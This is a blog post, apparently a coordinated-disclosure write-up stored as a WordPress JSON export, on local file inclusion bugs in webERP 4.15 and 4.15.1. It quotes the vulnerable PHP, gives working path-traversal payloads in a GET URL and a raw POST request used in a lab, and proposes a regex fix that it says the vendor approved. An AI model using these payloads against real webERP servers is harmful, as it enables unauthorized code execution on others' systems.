{"id":127,"date":"2020-05-16T09:31:56","date_gmt":"2020-05-16T09:31:56","guid":{"rendered":"https:\/\/lyhinslab.org\/?p=127"},"modified":"2021-05-13T16:10:20","modified_gmt":"2021-05-13T16:10:20","slug":"weberp-lfi","status":"publish","type":"post","link":"https:\/\/lscp.llc\/index.php\/2020\/05\/16\/weberp-lfi\/","title":{"rendered":"How White-Box hacking works: webERP Local File Inclusion"},"content":{"rendered":"\n<p>In the <a rel=\"noreferrer noopener\" href=\"https:\/\/lyhinslab.org\/index.php\/2020\/03\/14\/inoerp-ab-rce\/\" target=\"_blank\">previous post<\/a> we described a couple of inoERP bugs and made a conclusion that inoERP software is too buggy for everyday usage. So we tried to find a better open-source alternative, and possibly save 600 dollars per user per month on Oracle Financials for somebody. Fortunately, we found that webERP still releases updates and has GNU General Public License (GPL) v2, so we decided to check it for easily reachable vulnerabilities. <\/p>\n\n\n\n<h4 class=\"wp-block-heading\">Bug discovery<\/h4>\n\n\n\n<p class=\"img.border-image { border: 3px solid #eee; padding:3px; margin:3px; }\">To discover the bug, we used &#8220;grep&#8221; binary to find each call to &#8220;include&#8221; or &#8220;require&#8221; function that also operates with any variables, and then reviewed the results manually. <\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"false\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\"> egrep '(include|require)(\\ |\\()(.*)(\\$)' \/var\/www\/html -ri<\/pre>\n\n\n\n<p class=\"img.border-image { border: 3px solid #eee; padding:3px; margin:3px; }\"> We had a look on webERP 4.15 and webERP 4.15.1.<\/p>\n\n\n\n<h4 class=\"wp-block-heading\">WebERP v4.15 &#8211; Unauthenticated Local File Inclusion<\/h4>\n\n\n\n<p>In webERP 4.15, the code lines 22-25 of &#8220;ManualContents.php&#8221; file allow user to specify &#8220;Language&#8221; parameter. This leads to Local File Inclusion, at least in line 59. Also note line 32.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"19\" data-enlighter-title=\"\" data-enlighter-group=\"\">$Title = _('webERP Manual');\n\/\/ Set the language to show the manual:\nsession_start();\n$Language = $_SESSION['Language'];\nif(isset($_GET['Language'])) {\/\/ Set an other language for manual.\n        $Language = $_GET['Language'];\n}\n\/\/ Set the Cascading Style Sheet for the manual:\n$ManualStyle = 'locale\/' . $Language . '\/Manual\/style\/manual.css';\nif(!file_exists($ManualStyle)) {\/\/ If locale ccs not exist, use doc\/Manual\/style\/manual.css. Each language can have its own css.\n        $ManualStyle = 'doc\/Manual\/style\/manual.css';\n}\n\/\/ Set the the outline of the webERP manual:\n$ManualOutline = 'locale\/' . $Language . '\/Manual\/ManualOutline.php';\nif(!file_exists($ManualOutline)) {\/\/ If locale outline not exist, use doc\/Manual\/ManualOutline.php. Each language can have its own outline.\n        $ManualOutline = 'doc\/Manual\/ManualOutline.php';\n}\n\nob_start();\n\n\/\/ Output the header part:\n$ManualHeader = 'locale\/' . $Language . '\/Manual\/ManualHeader.html';\nif(file_exists($ManualHeader)) {\/\/ Use locale ManualHeader.html if exists. Each language can have its own page header.\n        include($ManualHeader);\n} else {\/\/ Default page header:\n        echo '&lt;!DOCTYPE html>\n        &lt;html>\n        &lt;head>\n          &lt;title>', $Title, '&lt;\/title>\n          &lt;meta http-equiv=\"Content-Type\" content=\"text\/html;charset=utf-8\">\n          &lt;link rel=\"stylesheet\" type=\"text\/css\" href=\"', $ManualStyle, '\" \/>\n        &lt;\/head>\n        &lt;body lang=\"', str_replace('_', '-', substr($Language, 0, 5)), '\">\n                &lt;div id=\"pagetitle\">', $Title, '&lt;\/div>\n                &lt;div class=\"right\">\n                        &lt;a id=\"top\">\u00a0&lt;\/a>&lt;a class=\"minitext\" href=\"', htmlspecialchars($_SERVER['PHP_SELF'],ENT_QUOTES,'UTF-8'), '\">\u261c ', _('Table of Contents'), '&lt;\/a>&lt;br \/>\n                        &lt;a class=\"minitext\" href=\"#bottom\">\u2b07 ', _('Go to Bottom'), '&lt;\/a>\n                &lt;\/div>';\n}\n\ninclude($ManualOutline);\n<\/pre>\n\n\n\n<p>For simplicity, we deployed an Ubuntu machine with webERP v4.15, and deployed an FTP service. Then we did the next:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>As an FTP user we created a directory and a file, \/srv\/ftp\/upload\/Manual\/ManualContents.php, and put call to the phpinfo function. <\/li><li>As a web user, we sent GET request with Language GET parameter:<br><a href=\"http:\/\/192.168.100.2:8080\/webERP\/ManualContents.php?Language=..\/..\/..\/..\/..\/..\/..\/..\/srv\/ftp\/upload\">http:\/\/192.168.100.2:8080\/webERP\/ManualContents.php?Language=..\/..\/..\/..\/..\/..\/..\/..\/srv\/ftp\/upload<\/a><\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image size-large is-style-default\"><img fetchpriority=\"high\" decoding=\"async\" width=\"705\" height=\"507\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/05\/image-1.png\" alt=\"\" class=\"wp-image-133\"\/><\/figure>\n\n\n\n<h4 class=\"wp-block-heading\">WebERP v4.15.1 &#8211; Authenticated Local File Inclusion<\/h4>\n\n\n\n<p>In webERP 4.15.1, the developers commented out the code lines that take the Language parameter from the user input in ManualContents.php. ManualContents.php is now accessible after the authorization only, but user can specify the Language parameter in POST request. Look at &#8220;includes\/LanguageSetup.php&#8221;, lines 15-23.<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"15\" data-enlighter-title=\"\" data-enlighter-group=\"\">If (isset($_POST['Language'])) {\n\t$_SESSION['Language'] = $_POST['Language'];\n\t$Language = $_POST['Language'];\n} elseif (!isset($_SESSION['Language'])) {\n\t$_SESSION['Language'] = $DefaultLanguage;\n\t$Language = $DefaultLanguage;\n} else {\n\t$Language = $_SESSION['Language'];\n}\n\/\/Check users' locale format via their language\n\/\/Then pass this information to the js for number validation purpose\n\n$Collect = array(\n\t'US'=>array('en_US.utf8','en_GB.utf8','ja_JP.utf8','hi_IN.utf8','mr_IN.utf8','sw_KE.utf8','tr_TR.utf8','vi_VN.utf8','zh_CN.utf8','zh_HK.utf8','zh_TW.utf8'),\n\t'IN'=>array('en_IN.utf8','hi_IN.utf8','mr_IN.utf8'),\n\t'EE'=>array('ar_EG.utf8','cz_CZ.utf8','fr_CA.utf8','fr_FR.utf8','hr_HR.utf8','pl_PL.utf8','ru_RU.utf8','sq_AL.utf8','sv_SE.utf8'),\n\t'FR'=>array('ar_EG.utf8','cz_CZ.utf8','fr_CA.utf8','fr_FR.utf8','hr_HR.utf8','pl_PL.utf8','ru_RU.utf8','sq_AL.utf8','sv_SE.utf8'),\n\t'GM'=>array('de_DE.utf8','el_GR.utf8','es_ES.utf8','fa_IR.utf8','id_ID.utf8','it_IT.utf8','ro_RO.utf8','lv_LV.utf8','nl_NL.utf8','pt_BR.utf8','pt_PT.utf8'));\n\nforeach($Collect as $Key=>$Value) {\n\tif(in_array($Language,$Value)) {\n\t\t$Lang = $Key;\n\t\t$_SESSION['Lang'] = $Lang;\n\t}\n}\n<\/pre>\n\n\n\n<p>So we deployed webERP v4.15.1 on the same virtual server, then did the next steps:<\/p>\n\n\n\n<ol class=\"wp-block-list\"><li>Check that the file &#8220;\/srv\/ftp\/upload\/Manual\/ManualContents.php&#8221; contains the right payload<\/li><li>Authenticate as a regular webERP user with the default credentials<\/li><li>Send a POST request to ManualContents.php, with Language body parameter. <\/li><li>Navigate to ManualContents.php in a browser.<\/li><\/ol>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1189\" height=\"516\" src=\"https:\/\/lyhinslab.org\/wp-content\/uploads\/2020\/05\/image-2.png\" alt=\"\" class=\"wp-image-135\"\/><\/figure>\n\n\n\n<p>Request:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">POST \/ManualContents.php HTTP\/1.1\nHost: 192.168.100.2\nUser-Agent: Mozilla\/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko\/20100101 Firefox\/75.0\nAccept: text\/html,application\/xhtml+xml,application\/xml;q=0.9,image\/webp,*\/*;q=0.8\nAccept-Language: en-US,en;q=0.5\nAccept-Encoding: gzip, deflate\nConnection: close\nCookie: PHPSESSIDwebERPteam=abumh3e3ak5ert1afcrpjkl02p\nUpgrade-Insecure-Requests: 1\nContent-Type: application\/x-www-form-urlencoded\nContent-Length: 44\n\nLanguage=..\/..\/..\/..\/..\/..\/..\/srv\/ftp\/upload<\/pre>\n\n\n\n<h4 class=\"wp-block-heading\">Recommendation <\/h4>\n\n\n\n<p>WebERP support team fixed these vulnerabilities and promised to release a new update on the previous week. So update the webERP application to the latest version as soon as it will be released.<br>But at the moment, Lyhin&#8217;s Lab recommends to change the code at includes\/LanguageSetup.php, lines 15-23<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"php\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"15\" data-enlighter-title=\"\" data-enlighter-group=\"\">If (isset($_POST['Language'])) {\n\t$_SESSION['Language'] = $_POST['Language'];\n\t$Language = $_POST['Language'];\n} elseif (!isset($_SESSION['Language'])) {\n\t$_SESSION['Language'] = $DefaultLanguage;\n\t$Language = $DefaultLanguage;\n} else {\n\t$Language = $_SESSION['Language'];\n}<\/pre>\n\n\n\n<p>To:<\/p>\n\n\n\n<pre class=\"EnlighterJSRAW\" data-enlighter-language=\"generic\" data-enlighter-theme=\"\" data-enlighter-highlight=\"\" data-enlighter-linenumbers=\"\" data-enlighter-lineoffset=\"\" data-enlighter-title=\"\" data-enlighter-group=\"\">if (isset($_POST['Language'])) {\n\tif (preg_match(\"\/^([a-z]{2}\\_[A-Z]{2})(\\.utf8)$\/\", $_POST['Language'])) $_SESSION['Language'] = $_POST['Language'];\n} else {\n\t$_SESSION['Language'] = $DefaultLanguage;\n\t$Language = $DefaultLanguage;\n}\n$Language = $_SESSION['Language'];<\/pre>\n\n\n\n<p>This change was approved by the webERP support team.<\/p>\n\n\n\n<p><em>LL advises to all the researchers do not break real applications<\/em>&nbsp;<em>illegally. This fun leads to broken businesses and lives, and, most likely, will not make an attacker really rich.<\/em> <\/p>\n","protected":false},"excerpt":{"rendered":"<p>In the previous post we described a couple of inoERP bugs and made a conclusion that inoERP software is too buggy [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-127","post","type-post","status-publish","format-standard","hentry","category-uncategorized"],"_links":{"self":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/127","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/comments?post=127"}],"version-history":[{"count":0,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/posts\/127\/revisions"}],"wp:attachment":[{"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/media?parent=127"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/categories?post=127"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/lscp.llc\/index.php\/wp-json\/wp\/v2\/tags?post=127"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}